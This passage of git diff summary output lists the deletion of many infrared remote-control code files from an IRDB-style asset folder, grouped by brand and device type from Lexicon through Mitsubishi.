assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Leadership/Unknown_GOTEC/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Lenovo/Unknown_Y530/4,69.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Lexicon/DVD Player/4,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Lexicon/Receiver/130,11.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Lexicon/Surround Processor/130,11.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Lexicon/Surround Processor/133,2.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Lexicon/Surround Processor/28,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Life-view/Unknown_3000/96,1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Life-view/Unknown_flyvideo/96,1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Lifesat/Unknown_28/128,38.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Lifetec/Unknown_LT9096/128,123.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Lifetec/Unknown_RC2000/5,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Lifetec/Unknown_remote/164,164.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Lightolier/Lighting Controller/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Linksys/Media Adapter/134,107.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Linksys/Unknown_WMA11B-R/134,107.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Linn/CD Player/20,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Linn/Classic music/16,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Linn/Classic music/17,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Linn/Classic music/20,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Linn/Surround Processor/16,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Linn/Surround Processor/23,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Linn/Surround Processor/4,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LiteOn/DVD Recorder/10,247.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/129,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/130,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/131,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/132,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/133,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/134,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/135,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/136,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/137,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/144,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/145,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/146,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/147,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/148,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/149,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/150,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/151,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/152,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/153,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/255,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Loewe/DVD Player/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Loewe/DVD Player/32,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Loewe/DVD Player/33,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Loewe/DVD Player/4,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Loewe/DVD Player/45,45.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Loewe/TV/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Loewe/TV/27,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Loewe/TV/31,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Loewe/TV/33,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Loewe/TV/5,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Loewe/TV/6,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Loewe/Unknown_8500H/110,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Loewe/Unknown_control/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Loewe/VCR/144,0.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Loewe/VCR/144,1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Loewe/VCR/5,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Logitech/Unknown_HarmonyOne/30,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Logitech/Unknown_z5500/8,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Lumagen/Scaler/2,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Luxman/CD Player/204,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Luxman/Receiver/204,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Luxor/Unknown_DV405/67,71.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/M3 Electronic/Unknown_DVD-209/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/MAGIC LIGHTING/Lighting/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/MAGNASONIC/Unknown_TV/131,122.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/MCL/Unknown_RemoteController/64,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/METRONIC/Unknown_060501/0,127.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/METRONIC/Unknown_SAT/134,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/MGA/VCR/87,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/MIRO/Unknown_MIRO/134,107.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/MISSION/CD Player/20,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/MS-Tech/Unknown_HTPC/0,95.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/MS-Tech/Unknown_MS-Tech/0,95.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/MSI/Unknown_MegaPC/134,107.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/MSI/Unknown_PC/134,107.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/MSI/Unknown_lircd.conf/134,107.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/MSI/Unknown_test/134,107.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Macro Image Technology/Unknown_MyHD/48,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Madrigal/CD Player/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Madrigal/CD Player/2,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Madrigal/CD Player/7,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Madrigal/Receiver/5,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Magnavox/DSS/128,63.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Magnavox/DVD Player/1,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Magnavox/DVD Player/135,34.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Magnavox/DVD Player/4,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Magnavox/DVD Recorder/135,34.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Magnavox/TV/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Magnavox/Unknown_UNIFIED6TRANS/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Magnavox/VCR/5,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Magnum Dynalab/Tuner/7,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Magnum/Unknown_5520VT/1,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Majestic/Unknown_DVX377USB/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Makita/Drapery Controller/2,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Malata/DVD Player/1,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Manhattan/Unknown_DVD/29,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Manta/Unknown_DVD-002/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Manta/Unknown_DVD-007/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Amplifier/16,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Amplifier/17,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Amplifier/18,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Amplifier/20,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Amplifier/21,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Amplifier/23,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Amplifier/26,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/CD Changer/20,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/CD Jukebox/20,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/CD Player/20,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Cassette Tape/18,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Cassette Tape/23,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/D-VHS/3,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/D-VHS/67,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/DVD Player/20,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/DVD Player/4,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/DVD Player/41,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/DVD Player/69,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/DVD/4,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/DVD/69,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/MP3 Player/14,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/MP3 Player/16,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Plasma Displays/24,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Plasma Displays/24,24.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Plasma/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Plasma/24,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Plasma/24,24.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Plasma/24,247.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Plasma/80,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Pre-Amplifier/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Pre-Amplifier/11,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Pre-Amplifier/17,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Pre-Amplifier/23,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Projector/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Receiver/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Receiver/12,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Receiver/16,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Receiver/17,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Receiver/176,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Receiver/18,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Receiver/20,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Receiver/21,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Receiver/23,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Receiver/26,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Receiver/39,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Receiver/4,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Receiver/5,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Receiver/6,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Receiver/7,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Receiver/8,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/TV/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/TV/144,0.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/TV/24,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/TV/24,24.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/TV/24,247.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/TV/80,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Tuner Section/17,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Tuner/16,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Tuner/17,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Tuner/20,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Unknown_Marantz-RC-63CD/20,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Unknown_RC-1400/4,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Unknown_RC-65CD/20,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Unknown_RC-72CD/20,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Unknown_RC4000CD/20,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Unknown_RC4300CC/20,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Unknown_rc/4,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/VCR/134,97.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/VCR/23,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/VCR/5,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Video Projector/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Video Projector/13,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/iPod Dock/14,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/iPod Dock/16,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mark Levinson/CD Player/1,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mark Levinson/CD Player/16,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mark Levinson/CD Player/2,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mark Levinson/CD Player/3,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mark Levinson/Pre-Amplifier/4,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mark Levinson/Pre-Amplifier/7,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mark/Unknown_rc5/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mas/Unknown_HSD-303/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mas/Unknown_HSD-400/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mas/Unknown_RC-0135/6,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Maxx/Plasma/32,64.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Maxx/Plasma/96,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/McIntosh/CD Player/202,149.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/McIntosh/Control System/202,85.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/McIntosh/DVD Player/128,80.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/McIntosh/Laser Disc/168,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/McIntosh/Pre-Amplifier/202,85.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/McIntosh/Receiver/202,85.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Medion/Unknown_JX-2006B/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Medion/Unknown_MD-5410/5,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Medion/Unknown_MD81035/23,105.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Medion/Unknown_MD81880/23,105.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Medion/Unknown_medion/128,123.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Medion/Unknown_rc2000/5,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Melectronic/Unknown_PP3600/2,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Meliconi/Unknown_Facile/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Meliconi/Unknown_MELICONI-U3/10,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Meliconi/Unknown_MeliconiSpeedy2/5,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Meliconi/Unknown_Speedy/7,7.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Memorex/DVD Player/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Memorex/TV/4,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Meridian/800 System Remote/19,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Meridian/CD Player/19,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Meridian/CD-R/19,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Meridian/DVD Player/19,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Meridian/DVD Player/69,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Meridian/DVD/19,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Meridian/Pre-Amplifier/19,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Meridian/Pre-Amplifier/26,73.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Meridian/Processor/19,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Meridian/Remote Control/19,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Meridian/Surround Processor/19,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Meridian/System Remote/19,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Metronome/CD Player/20,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Metrox/Humidifier/128,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Micromega/DVD Player/4,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Microsoft/DVD Player/5,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Microsoft/Game Console/116,15.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Microsoft/Game Console/4,15.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Microsoft/Game Console/5,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Microsoft/Home Media PC/4,15.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Microsoft/Unknown_MCE/5,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Microsoft/Unknown_Xbox360/116,15.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Microsoft/Unknown_xbox/10,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Microsoft/Windows Media Center/4,15.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Midiland/Digital Decoder/81,175.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mintek/DVD Player/0,153.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitochiba/Unknown_JX-9902/134,107.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitochiba/Unknown_KF220100/134,107.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/CD Player/119,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/Cable Box/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/Cassette Tape/119,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/Cassette Tape/138,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/Cassette Tape/141,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/DSS/12,251.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/DSS/64,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/DSS/71,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/DVD Player/103,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/DVD Player/71,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/DVD Player/87,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/DVD/103,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/HDTV Receiver/12,251.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/HDTV Receiver/71,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/Laser Disc/168,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/Laser Disc/175,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/Monitor/1,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/Monitor/119,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/Monitor/130,100.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/Monitor/2,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/Monitor/4,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/Monitor/71,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/Monitor/87,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/Receiver/119,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/Receiver/168,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/Receiver/71,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/Receiver/87,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/Satellite/12,251.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/TV/1,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/TV/119,-1.ir delete mode 100644 